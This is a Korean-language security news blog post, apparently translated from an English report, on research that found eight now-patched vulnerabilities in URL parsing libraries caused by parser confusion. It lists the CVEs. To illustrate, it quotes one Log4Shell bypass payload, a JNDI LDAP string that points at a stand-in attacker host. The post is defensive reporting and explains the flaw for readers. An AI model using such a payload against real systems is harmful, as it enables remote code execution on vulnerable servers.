Researchers Find Bugs in Over A Dozen Widely Used URL Parser Libraries
16개의 서로 다른 URL(Uniform Resource Locator) 파싱 라이브러리에 대한 연구 결과 유효성 검사를 우회하고 광범위한 공격 벡터에 노출시킬 수 있는 취약점이 발견되었습니다.
사이버 보안 회사인 Claroty와 Synk가 공동으로 수행한 심층 분석을 통해 C, JavaScript, PHP, Python, Ruby 언어로 작성되어 여러 웹 애플리케이션에서 널리 사용되는 많은 써드파티 라이브러리에서 보안 취약점 8개가 발견되었습니다.
이들은 The Hacker News와 공유한 보고서에서 아래와 같이 밝혔습니다.
"URL 파싱 내 혼란은 소프트웨어(예: 웹 응용 프로그램)에서 예기치 않은 동작을 유발시킬 수 있으며, 공격자가 서비스 거부 조건 및 정보 누출을 유발하거나 원격 코드 실행 공격을 수행하기 위해 악용할 수 있습니다."
URL은 로컬 또는 웹에 있는 리소스를 요청 및 검색할 수 있는 기본 메커니즘이기 때문에, 파싱 라이브러리가 URL 요청을 해석하는 방식에 차이가 있을 경우 사용자에게 상당한 위험을 초래할 수 있습니다.
적절한 사례는 지난 달 유비쿼터스 Log4j 로깅 프레임워크에서 공개된 치명적인 Log4Shell 취약점입니다. 이 취약점은 취약한 애플리케이션으로 평가될 때, 그리고 취약한 애플리케이션이 로깅할 때 악성 공격자가 제어하는 문자열로 인해 발생하며 공격자가 운영하는 서버에 연결하고 임의 Java 코드를 실행하는 JNDI 조회가 발생됩니다.
ASF(Apache Software Foundation)는 취약점을 해결하기 위해 신속하게 패치했지만, 이는 "${jndi:ldap://127.0.0[.] 1#.evilhost.com:1389/a}"와 같은 형식으로 특수 제작된 입력을 통해 우회될 수 있다는 점이 곧 밝혀졌습니다. 이를 통해 또 다시 원격 JNDI 조회를 통해 코드 실행이 가능해졌습니다.
"이 우회는 JNDI 조회 프로세스 내에서 2개의 다른(!) URL 파서가 사용되었다는 사실에서 비롯됩니다. 하나는 URL의 유효성을 검사하고 다른 하나는 URL을 가져오는 데 사용되며 각 파서가 URL의 조각 부분(#)을 처리하는 방법에 따라 기관도 변경됩니다."
특히, 입력이 일반 HTTP URL로 처리되는 경우 Authority 컴포넌트(도메인 이름과 포트 번호의 조합)는 조각 식별자를 만나면 종료되는 반면, LDAP URL로 처리될 경우 파서는 LDP URL 사양이 해당 조각을 설명하지 않기 때문에 "127.0.0[.]1#.evilhost.com:1389" 전체를 기관으로 할당합니다.
실제로 여러 파서를 사용하는 것이 8개의 취약점에 대한 두 가지 주요 원인 중 하나로 나타났습니다. 다른 하나는 라이브러리가 서로 다른 URL 사양을 따를 때 발생하는 불일치로 인해 악용 가능한 취약점입니다.
불일치 범위는 백슬래시("\")가 포함된 URL, 불규칙한 슬래시(예: https:///www.example[.]com), URL 인코딩 데이터("%")가 포함된 URL, URL 스키마가 누락된 URL 등 다양합니다. 이는 원격 코드 실행 또는 서비스 거부(Denial-or-Service), 개방형 리디렉션 피싱 공격 등에 악용될 수 있습니다.
발견된 취약점 8개의 목록은 아래와 같으며, 이후 모두 패치되었습니다.
Belledonne's SIP Stack (C, CVE-2021-33056)
Video.js (JavaScript, CVE-2021-23414)
Nagios XI (PHP, CVE-2021-37352)
Flask-security (Python, CVE-2021-23385)
Flask-security-too (Python, CVE-2021-32618)
Flask-unchained (Python, CVE-2021-23393)
Flask-User (Python, CVE-2021-23401)
Clearance (Ruby, CVE-2021-23435)
연구원들은 아래와 같이 결론지었습니다.
"많은 실제 공격 시나리오가 서로 다른 파싱 프리미티브에서 발생할 수 있습니다."
“URL 파싱 취약점으로부터 애플리케이션을 보호하려면 어떤 파서가 전체 프로세스에 관여하는지, 파서 간의 차이점, 관용 여부, 다양한 기형 URL을 해석하는 방식, 지원하는 URL 유형을 완전히 이해해야 합니다.”
출처:
https://thehackernews.com/2022/01/researchers-find-bugs-in-over-dozen.html
https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/
윈도우, 맥 OS, 리눅스를 노리는 새로운 SysJocker 백도어 발견 (0) | 2022.01.12 |
---|---|
AvosLocker 랜섬웨어의 리눅스 버전, VMware ESXi 서버 노려 (0) | 2022.01.11 |
마이크로소프트 이후 SonicWall에서도 제품이 Y2K22에 취약하다 밝혀 (0) | 2022.01.10 |
H2 데이터베이스 콘솔에서 Log4Shell과 유사한 치명적인 RCE 취약점 발견돼 (0) | 2022.01.10 |
구글 문서의 댓글 기능, 피싱 공격에 악용돼 (0) | 2022.01.07 |
댓글 영역